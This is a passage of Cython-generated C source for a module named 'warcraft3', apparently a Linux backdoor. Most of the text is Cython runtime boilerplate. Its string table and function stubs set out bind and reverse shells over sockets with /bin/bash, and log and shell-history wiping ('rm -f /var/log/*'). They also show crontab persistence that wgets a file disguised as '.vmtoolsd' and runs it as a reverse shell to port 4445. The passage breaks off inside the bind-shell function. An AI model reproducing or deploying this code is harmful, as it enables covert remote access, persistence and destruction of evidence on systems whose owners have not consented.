= 0;    } else {        char ascii_chars[128];        int c;        for (c = 0; c < 128; c++) {            ascii_chars[c] = c;        }        __Pyx_sys_getdefaultencoding_not_ascii = 1;        ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL);        if (!ascii_chars_u) goto bad;        ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL);        if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) {            PyErr_Format(                PyExc_ValueError,                "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.",                default_encoding_c);            goto bad;        }        Py_DECREF(ascii_chars_u);        Py_DECREF(ascii_chars_b);    }    Py_DECREF(default_encoding);    return 0;bad:    Py_XDECREF(default_encoding);    Py_XDECREF(ascii_chars_u);    Py_XDECREF(ascii_chars_b);    return -1;}#endif#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL)#else#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL)#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULTstatic char* __PYX_DEFAULT_STRING_ENCODING;static int __Pyx_init_sys_getdefaultencoding_params(void) {    PyObject* sys;    PyObject* default_encoding = NULL;    char* default_encoding_c;    sys = PyImport_ImportModule("sys");    if (!sys) goto bad;    default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL);    Py_DECREF(sys);    if (!default_encoding) goto bad;    default_encoding_c = PyBytes_AsString(default_encoding);    if (!default_encoding_c) goto bad;    __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c));    if (!__PYX_DEFAULT_STRING_ENCODING) goto bad;    strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c);    Py_DECREF(default_encoding);    return 0;bad:    Py_XDECREF(default_encoding);    return -1;}#endif#endif/* Test for GCC > 2.95 */#if defined(__GNUC__)     && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95)))  #define likely(x)   __builtin_expect(!!(x), 1)  #define unlikely(x) __builtin_expect(!!(x), 0)#else /* !__GNUC__ or GCC < 2.95 */  #define likely(x)   (x)  #define unlikely(x) (x)#endif /* __GNUC__ */static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; }static PyObject *__pyx_m;static PyObject *__pyx_d;static PyObject *__pyx_b;static PyObject *__pyx_cython_runtime;static PyObject *__pyx_empty_tuple;static PyObject *__pyx_empty_bytes;static PyObject *__pyx_empty_unicode;static int __pyx_lineno;static int __pyx_clineno = 0;static const char * __pyx_cfilenm= __FILE__;static const char *__pyx_filename;static const char *__pyx_f[] = {  "warcraft3.py",};/*--- Type declarations ---*//* --- Runtime support code (head) --- *//* Refnanny.proto */#ifndef CYTHON_REFNANNY  #define CYTHON_REFNANNY 0#endif#if CYTHON_REFNANNY  typedef struct {    void (*INCREF)(void*, PyObject*, int);    void (*DECREF)(void*, PyObject*, int);    void (*GOTREF)(void*, PyObject*, int);    void (*GIVEREF)(void*, PyObject*, int);    void* (*SetupContext)(const char*, int, const char*);    void (*FinishContext)(void**);  } __Pyx_RefNannyAPIStruct;  static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL;  static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname);  #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL;#ifdef WITH_THREAD  #define __Pyx_RefNannySetupContext(name, acquire_gil)\          if (acquire_gil) {\              PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\              PyGILState_Release(__pyx_gilstate_save);\          } else {\              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\          }#else  #define __Pyx_RefNannySetupContext(name, acquire_gil)\          __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)#endif  #define __Pyx_RefNannyFinishContext()\          __Pyx_RefNanny->FinishContext(&__pyx_refnanny)  #define __Pyx_INCREF(r)  __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__)  #define __Pyx_DECREF(r)  __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__)  #define __Pyx_GOTREF(r)  __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__)  #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__)  #define __Pyx_XINCREF(r)  do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0)  #define __Pyx_XDECREF(r)  do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0)  #define __Pyx_XGOTREF(r)  do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0)  #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0)#else  #define __Pyx_RefNannyDeclarations  #define __Pyx_RefNannySetupContext(name, acquire_gil)  #define __Pyx_RefNannyFinishContext()  #define __Pyx_INCREF(r) Py_INCREF(r)  #define __Pyx_DECREF(r) Py_DECREF(r)  #define __Pyx_GOTREF(r)  #define __Pyx_GIVEREF(r)  #define __Pyx_XINCREF(r) Py_XINCREF(r)  #define __Pyx_XDECREF(r) Py_XDECREF(r)  #define __Pyx_XGOTREF(r)  #define __Pyx_XGIVEREF(r)#endif#define __Pyx_XDECREF_SET(r, v) do {\        PyObject *tmp = (PyObject *) r;\        r = v; __Pyx_XDECREF(tmp);\    } while (0)#define __Pyx_DECREF_SET(r, v) do {\        PyObject *tmp = (PyObject *) r;\        r = v; __Pyx_DECREF(tmp);\    } while (0)#define __Pyx_CLEAR(r)    do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0)#define __Pyx_XCLEAR(r)   do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0)/* PyObjectGetAttrStr.proto */#if CYTHON_USE_TYPE_SLOTSstatic CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) {    PyTypeObject* tp = Py_TYPE(obj);    if (likely(tp->tp_getattro))        return tp->tp_getattro(obj, attr_name);#if PY_MAJOR_VERSION < 3    if (likely(tp->tp_getattr))        return tp->tp_getattr(obj, PyString_AS_STRING(attr_name));#endif    return PyObject_GetAttr(obj, attr_name);}#else#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n)#endif/* GetBuiltinName.proto */static PyObject *__Pyx_GetBuiltinName(PyObject *name);/* RaiseArgTupleInvalid.proto */static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact,    Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found);/* RaiseDoubleKeywords.proto */static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name);/* ParseKeywords.proto */static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\    PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\    const char* function_name);/* GetModuleGlobalName.proto */static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name);/* PyFunctionFastCall.proto */#if CYTHON_FAST_PYCALL#define __Pyx_PyFunction_FastCall(func, args, nargs)\    __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL)#if 1 || PY_VERSION_HEX < 0x030600B1static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs);#else#define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs)#endif#endif/* PyCFunctionFastCall.proto */#if CYTHON_FAST_PYCCALLstatic CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs);#else#define __Pyx_PyCFunction_FastCall(func, args, nargs)  (assert(0), NULL)#endif/* PyObjectCall.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw);#else#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw)#endif/* PyObjectCallMethO.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg);#endif/* PyObjectCallOneArg.proto */static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg);/* PyThreadStateGet.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_PyThreadState_declare  PyThreadState *__pyx_tstate;#define __Pyx_PyThreadState_assign  __pyx_tstate = PyThreadState_GET();#else#define __Pyx_PyThreadState_declare#define __Pyx_PyThreadState_assign#endif/* SaveResetException.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_ExceptionSave(type, value, tb)  __Pyx__ExceptionSave(__pyx_tstate, type, value, tb)static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);#define __Pyx_ExceptionReset(type, value, tb)  __Pyx__ExceptionReset(__pyx_tstate, type, value, tb)static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb);#else#define __Pyx_ExceptionSave(type, value, tb)   PyErr_GetExcInfo(type, value, tb)#define __Pyx_ExceptionReset(type, value, tb)  PyErr_SetExcInfo(type, value, tb)#endif/* PyErrExceptionMatches.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err)static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err);#else#define __Pyx_PyErr_ExceptionMatches(err)  PyErr_ExceptionMatches(err)#endif/* GetException.proto */#if CYTHON_FAST_THREAD_STATE#define __Pyx_GetException(type, value, tb)  __Pyx__GetException(__pyx_tstate, type, value, tb)static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);#elsestatic int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb);#endif/* None.proto */static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname);/* PyObjectCallNoArg.proto */#if CYTHON_COMPILING_IN_CPYTHONstatic CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func);#else#define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL)#endif/* RaiseTooManyValuesToUnpack.proto */static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);/* RaiseNeedMoreValuesToUnpack.proto */static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);/* IterFinish.proto */static CYTHON_INLINE int __Pyx_IterFinish(void);/* UnpackItemEndCheck.proto */static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected);/* Import.proto */static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level);/* ImportFrom.proto */static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name);/* FetchCommonType.proto */static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type);/* CythonFunction.proto */#define __Pyx_CyFunction_USED 1#include <structmember.h>#define __Pyx_CYFUNCTION_STATICMETHOD  0x01#define __Pyx_CYFUNCTION_CLASSMETHOD   0x02#define __Pyx_CYFUNCTION_CCLASS        0x04#define __Pyx_CyFunction_GetClosure(f)\    (((__pyx_CyFunctionObject *) (f))->func_closure)#define __Pyx_CyFunction_GetClassObj(f)\    (((__pyx_CyFunctionObject *) (f))->func_classobj)#define __Pyx_CyFunction_Defaults(type, f)\    ((type *)(((__pyx_CyFunctionObject *) (f))->defaults))#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\    ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g)typedef struct {    PyCFunctionObject func;#if PY_VERSION_HEX < 0x030500A0    PyObject *func_weakreflist;#endif    PyObject *func_dict;    PyObject *func_name;    PyObject *func_qualname;    PyObject *func_doc;    PyObject *func_globals;    PyObject *func_code;    PyObject *func_closure;    PyObject *func_classobj;    void *defaults;    int defaults_pyobjects;    int flags;    PyObject *defaults_tuple;    PyObject *defaults_kwdict;    PyObject *(*defaults_getter)(PyObject *);    PyObject *func_annotations;} __pyx_CyFunctionObject;static PyTypeObject *__pyx_CyFunctionType = 0;#define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\    __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code)static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml,                                      int flags, PyObject* qualname,                                      PyObject *self,                                      PyObject *module, PyObject *globals,                                      PyObject* code);static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m,                                                         size_t size,                                                         int pyobjects);static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m,                                                            PyObject *tuple);static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m,                                                             PyObject *dict);static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m,                                                              PyObject *dict);static int __pyx_CyFunction_init(void);/* IncludeStringH.proto */#include <string.h>/* BytesEquals.proto */static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals);/* UnicodeEquals.proto */static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals);/* StrEquals.proto */#if PY_MAJOR_VERSION >= 3#define __Pyx_PyString_Equals __Pyx_PyUnicode_Equals#else#define __Pyx_PyString_Equals __Pyx_PyBytes_Equals#endif/* CLineInTraceback.proto */static int __Pyx_CLineForTraceback(int c_line);/* CodeObjectCache.proto */typedef struct {    PyCodeObject* code_object;    int code_line;} __Pyx_CodeObjectCacheEntry;struct __Pyx_CodeObjectCache {    int count;    int max_count;    __Pyx_CodeObjectCacheEntry* entries;};static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL};static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line);static PyCodeObject *__pyx_find_code_object(int code_line);static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object);/* AddTraceback.proto */static void __Pyx_AddTraceback(const char *funcname, int c_line,                               int py_line, const char *filename);/* Print.proto */static int __Pyx_Print(PyObject*, PyObject *, int);#if CYTHON_COMPILING_IN_PYPY || PY_MAJOR_VERSION >= 3static PyObject* __pyx_print = 0;static PyObject* __pyx_print_kwargs = 0;#endif/* PrintOne.proto */static int __Pyx_PrintOne(PyObject* stream, PyObject *o);/* CIntToPy.proto */static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value);/* CIntFromPy.proto */static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *);/* CIntFromPy.proto */static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *);/* CheckBinaryVersion.proto */static int __Pyx_check_binary_version(void);/* InitStrings.proto */static int __Pyx_InitStrings(__Pyx_StringTabEntry *t);/* Module declarations from 'warcraft3' */#define __Pyx_MODULE_NAME "warcraft3"int __pyx_module_is_main_warcraft3 = 0;/* Implementation of 'warcraft3' */static PyObject *__pyx_builtin_exit;static PyObject *__pyx_builtin_open;static const char __pyx_k_a[] = "-a";static const char __pyx_k_b[] = "-b";static const char __pyx_k_i[] = "-i";static const char __pyx_k_p[] = "-p";static const char __pyx_k_r[] = "r";static const char __pyx_k_os[] = "os";static const char __pyx_k_end[] = "end";static const char __pyx_k_r_2[] = "-r";static const char __pyx_k_addr[] = "addr";static const char __pyx_k_args[] = "args";static const char __pyx_k_bind[] = "bind";static const char __pyx_k_call[] = "call";static const char __pyx_k_dest[] = "dest";static const char __pyx_k_dup2[] = "dup2";static const char __pyx_k_exit[] = "exit";static const char __pyx_k_file[] = "file";static const char __pyx_k_main[] = "__main__";static const char __pyx_k_name[] = "__name__";static const char __pyx_k_open[] = "open";static const char __pyx_k_path[] = "path";static const char __pyx_k_port[] = "port";static const char __pyx_k_test[] = "__test__";static const char __pyx_k_fcntl[] = "fcntl";static const char __pyx_k_flock[] = "flock";static const char __pyx_k_popen[] = "popen";static const char __pyx_k_print[] = "print";static const char __pyx_k_shell[] = "shell";static const char __pyx_k_accept[] = "accept";static const char __pyx_k_action[] = "action";static const char __pyx_k_addr_2[] = "--addr";static const char __pyx_k_bind_2[] = "--bind";static const char __pyx_k_client[] = "client";static const char __pyx_k_fileno[] = "fileno";static const char __pyx_k_getcwd[] = "getcwd";static const char __pyx_k_import[] = "__import__";static const char __pyx_k_listen[] = "listen";static const char __pyx_k_port_2[] = "--port";static const char __pyx_k_reason[] = "reason";static const char __pyx_k_remove[] = "remove";static const char __pyx_k_socket[] = "socket";static const char __pyx_k_AF_INET[] = "AF_INET";static const char __pyx_k_LOCK_EX[] = "LOCK_EX";static const char __pyx_k_LOCK_NB[] = "LOCK_NB";static const char __pyx_k_connect[] = "connect";static const char __pyx_k_options[] = "options";static const char __pyx_k_pidfile[] = "pidfile";static const char __pyx_k_reverse[] = "--reverse";static const char __pyx_k_bin_bash[] = "/bin/bash";static const char __pyx_k_clearLog[] = "clearLog";static const char __pyx_k_filename[] = "filename";static const char __pyx_k_optparse[] = "optparse";static const char __pyx_k_realpath[] = "realpath";static const char __pyx_k_unsetLog[] = "unsetLog";static const char __pyx_k_optParser[] = "optParser";static const char __pyx_k_reverse_2[] = "reverse";static const char __pyx_k_warcraft3[] = "warcraft3";static const char __pyx_k_add_option[] = "add_option";static const char __pyx_k_deleteSelf[] = "deleteSelf";static const char __pyx_k_parse_args[] = "parse_args";static const char __pyx_k_store_true[] = "store_true";static const char __pyx_k_subprocess[] = "subprocess";static const char __pyx_k_BindConnect[] = "BindConnect";static const char __pyx_k_SOCK_STREAM[] = "SOCK_STREAM";static const char __pyx_k_warcraft3_2[] = "/warcraft3";static const char __pyx_k_OptionParser[] = "OptionParser";static const char __pyx_k_rm_f_var_log[] = "rm -f /var/log/*";static const char __pyx_k_warcraft3_py[] = "warcraft3.py";static const char __pyx_k_appendCrontab[] = "appendCrontab";static const char __pyx_k_unset_history[] = "unset history";static const char __pyx_k_ReserveConnect[] = "ReserveConnect";static const char __pyx_k_SingletonRunning[] = "SingletonRunning";static const char __pyx_k_echo_bash_history[] = "echo '' > ~/.bash_history";static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback";static const char __pyx_k_Failed_to_Create_Shell_s[] = "[-] Failed to Create Shell : %s";static const char __pyx_k_Failed_to_Create_Socket_s[] = "[-] Failed to Create Socket : %s";static const char __pyx_k_There_is_another_shell_is_runni[] = "[-] There is another shell is running";static const char __pyx_k_echo_0_0_root_wget_https_github[] = "echo  '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab";static const char __pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b[] = "echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab";static const char __pyx_k_echo_0_0_wget_https_github_org_c[] = "echo  '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab";static const char __pyx_k_echo_30_0_vmtoolsd_r_a_a_b_c_d_p[] = "echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab";static PyObject *__pyx_n_s_AF_INET;static PyObject *__pyx_n_s_BindConnect;static PyObject *__pyx_kp_s_Failed_to_Create_Shell_s;static PyObject *__pyx_kp_s_Failed_to_Create_Socket_s;static PyObject *__pyx_n_s_LOCK_EX;static PyObject *__pyx_n_s_LOCK_NB;static PyObject *__pyx_n_s_OptionParser;static PyObject *__pyx_n_s_ReserveConnect;static PyObject *__pyx_n_s_SOCK_STREAM;static PyObject *__pyx_n_s_SingletonRunning;static PyObject *__pyx_kp_s_There_is_another_shell_is_runni;static PyObject *__pyx_kp_s_a;static PyObject *__pyx_n_s_accept;static PyObject *__pyx_n_s_action;static PyObject *__pyx_n_s_add_option;static PyObject *__pyx_n_s_addr;static PyObject *__pyx_kp_s_addr_2;static PyObject *__pyx_n_s_appendCrontab;static PyObject *__pyx_n_s_args;static PyObject *__pyx_kp_s_b;static PyObject *__pyx_kp_s_bin_bash;static PyObject *__pyx_n_s_bind;static PyObject *__pyx_kp_s_bind_2;static PyObject *__pyx_n_s_call;static PyObject *__pyx_n_s_clearLog;static PyObject *__pyx_n_s_client;static PyObject *__pyx_n_s_cline_in_traceback;static PyObject *__pyx_n_s_connect;static PyObject *__pyx_n_s_deleteSelf;static PyObject *__pyx_n_s_dest;static PyObject *__pyx_n_s_dup2;static PyObject *__pyx_kp_s_echo_0_0_root_wget_https_github;static PyObject *__pyx_kp_s_echo_0_0_wget_https_github_org_c;static PyObject *__pyx_kp_s_echo_30_0_root_vmtoolsd_r_a_a_b;static PyObject *__pyx_kp_s_echo_30_0_vmtoolsd_r_a_a_b_c_d_p;static PyObject *__pyx_kp_s_echo_bash_history;static PyObject *__pyx_n_s_end;static PyObject *__pyx_n_s_exit;static PyObject *__pyx_n_s_fcntl;static PyObject *__pyx_n_s_file;static PyObject *__pyx_n_s_filename;static PyObject *__pyx_n_s_fileno;static PyObject *__pyx_n_s_flock;static PyObject *__pyx_n_s_getcwd;static PyObject *__pyx_kp_s_i;static PyObject *__pyx_n_s_import;static PyObject *__pyx_n_s_listen;static PyObject *__pyx_n_s_main;static PyObject *__pyx_n_s_name;static PyObject *__pyx_n_s_open;static PyObject *__pyx_n_s_optParser;static PyObject *__pyx_n_s_options;static PyObject *__pyx_n_s_optparse;static PyObject *__pyx_n_s_os;static PyObject *__pyx_kp_s_p;static PyObject *__pyx_n_s_parse_args;static PyObject *__pyx_n_s_path;static PyObject *__pyx_n_s_pidfile;static PyObject *__pyx_n_s_popen;static PyObject *__pyx_n_s_port;static PyObject *__pyx_kp_s_port_2;static PyObject *__pyx_n_s_print;static PyObject *__pyx_n_s_r;static PyObject *__pyx_kp_s_r_2;static PyObject *__pyx_n_s_realpath;static PyObject *__pyx_n_s_reason;static PyObject *__pyx_n_s_remove;static PyObject *__pyx_kp_s_reverse;static PyObject *__pyx_n_s_reverse_2;static PyObject *__pyx_kp_s_rm_f_var_log;static PyObject *__pyx_n_s_shell;static PyObject *__pyx_n_s_socket;static PyObject *__pyx_n_s_store_true;static PyObject *__pyx_n_s_subprocess;static PyObject *__pyx_n_s_test;static PyObject *__pyx_n_s_unsetLog;static PyObject *__pyx_kp_s_unset_history;static PyObject *__pyx_n_s_warcraft3;static PyObject *__pyx_kp_s_warcraft3_2;static PyObject *__pyx_kp_s_warcraft3_py;static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */static PyObject *__pyx_pf_9warcraft3_2ReserveConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port); /* proto */static PyObject *__pyx_pf_9warcraft3_4SingletonRunning(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_6deleteSelf(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_8unsetLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_10clearLog(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_pf_9warcraft3_12appendCrontab(CYTHON_UNUSED PyObject *__pyx_self); /* proto */static PyObject *__pyx_int_0;static PyObject *__pyx_int_1;static PyObject *__pyx_int_2;static PyObject *__pyx_tuple_;static PyObject *__pyx_tuple__2;static PyObject *__pyx_tuple__3;static PyObject *__pyx_tuple__4;static PyObject *__pyx_tuple__5;static PyObject *__pyx_tuple__6;static PyObject *__pyx_tuple__7;static PyObject *__pyx_tuple__8;static PyObject *__pyx_tuple__9;static PyObject *__pyx_tuple__10;static PyObject *__pyx_tuple__11;static PyObject *__pyx_tuple__12;static PyObject *__pyx_tuple__13;static PyObject *__pyx_tuple__14;static PyObject *__pyx_tuple__15;static PyObject *__pyx_tuple__17;static PyObject *__pyx_tuple__19;static PyObject *__pyx_tuple__21;static PyObject *__pyx_tuple__26;static PyObject *__pyx_tuple__27;static PyObject *__pyx_tuple__28;static PyObject *__pyx_tuple__29;static PyObject *__pyx_codeobj__16;static PyObject *__pyx_codeobj__18;static PyObject *__pyx_codeobj__20;static PyObject *__pyx_codeobj__22;static PyObject *__pyx_codeobj__23;static PyObject *__pyx_codeobj__24;static PyObject *__pyx_codeobj__25;/* "warcraft3.py":13 * * # shell * def BindConnect(addr, port):             # <<<<<<<<<<<<<< *     '''shell''' *     try: *//* Python wrapper */static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/static char __pyx_doc_9warcraft3_BindConnect[] = "\346\255\243\345\220\221\350\277\236\346\216\245shell";static PyMethodDef __pyx_mdef_9warcraft3_1BindConnect = {"BindConnect", (PyCFunction)__pyx_pw_9warcraft3_1BindConnect, METH_VARARGS|METH_KEYWORDS, __pyx_doc_9warcraft3_BindConnect};static PyObject *__pyx_pw_9warcraft3_1BindConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {  PyObject *__pyx_v_addr = 0;  PyObject *__pyx_v_port = 0;  PyObject *__pyx_r = 0;  __Pyx_RefNannyDeclarations  __Pyx_RefNannySetupContext("BindConnect (wrapper)", 0);  {    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_addr,&__pyx_n_s_port,0};    PyObject* values[2] = {0,0};    if (unlikely(__pyx_kwds)) {      Py_ssize_t kw_args;      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);      switch (pos_args) {        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);        CYTHON_FALLTHROUGH;        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);        CYTHON_FALLTHROUGH;        case  0: break;        default: goto __pyx_L5_argtuple_error;      }      kw_args = PyDict_Size(__pyx_kwds);      switch (pos_args) {        case  0:        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_addr)) != 0)) kw_args--;        else goto __pyx_L5_argtuple_error;        CYTHON_FALLTHROUGH;        case  1:        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--;        else {          __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, 1); __PYX_ERR(0, 13, __pyx_L3_error)        }      }      if (unlikely(kw_args > 0)) {        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "BindConnect") < 0)) __PYX_ERR(0, 13, __pyx_L3_error)      }    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {      goto __pyx_L5_argtuple_error;    } else {      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);    }    __pyx_v_addr = values[0];    __pyx_v_port = values[1];  }  goto __pyx_L4_argument_unpacking_done;  __pyx_L5_argtuple_error:;  __Pyx_RaiseArgtupleInvalid("BindConnect", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 13, __pyx_L3_error)  __pyx_L3_error:;  __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);  __Pyx_RefNannyFinishContext();  return NULL;  __pyx_L4_argument_unpacking_done:;  __pyx_r = __pyx_pf_9warcraft3_BindConnect(__pyx_self, __pyx_v_addr, __pyx_v_port);  /* function exit code */  __Pyx_RefNannyFinishContext();  return __pyx_r;}static PyObject *__pyx_pf_9warcraft3_BindConnect(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_addr, PyObject *__pyx_v_port) {  PyObject *__pyx_v_shell = NULL;  PyObject *__pyx_v_reason = NULL;  PyObject *__pyx_v_client = NULL;  PyObject *__pyx_r = NULL;  __Pyx_RefNannyDeclarations  PyObject *__pyx_t_1 = NULL;  PyObject *__pyx_t_2 = NULL;  PyObject *__pyx_t_3 = NULL;  PyObject *__pyx_t_4 = NULL;  PyObject *__pyx_t_5 = NULL;  PyObject *__pyx_t_6 = NULL;  PyObject *__pyx_t_7 = NULL;  PyObject *__pyx_t_8 = NULL;  int __pyx_t_9;  PyObject *__pyx_t_10 = NULL;  PyObject *(*__pyx_t_11)(PyObject *);  __Pyx_RefNannySetupContext("BindConnect", 0);  __Pyx_INCREF(__pyx_v_addr);  /* "warcraft3.py":15 * def BindConnect(addr, port): *     '''shell''' *     try:             # <<<<<<<<<<<<<< *         shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) *         shell.bind((addr,port)) */  {    __Pyx_PyThreadState_declare    __Pyx_PyThreadState_assign    __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3);    __Pyx_XGOTREF(__pyx_t_1);    __Pyx_XGOTREF(__pyx_t_2);    __Pyx_XGOTREF(__pyx_t_3);    /*try:*/ {      /* "warcraft3.py":16 *     '''shell''' *     try: *         shell = socket.socket(socket.AF_INET, 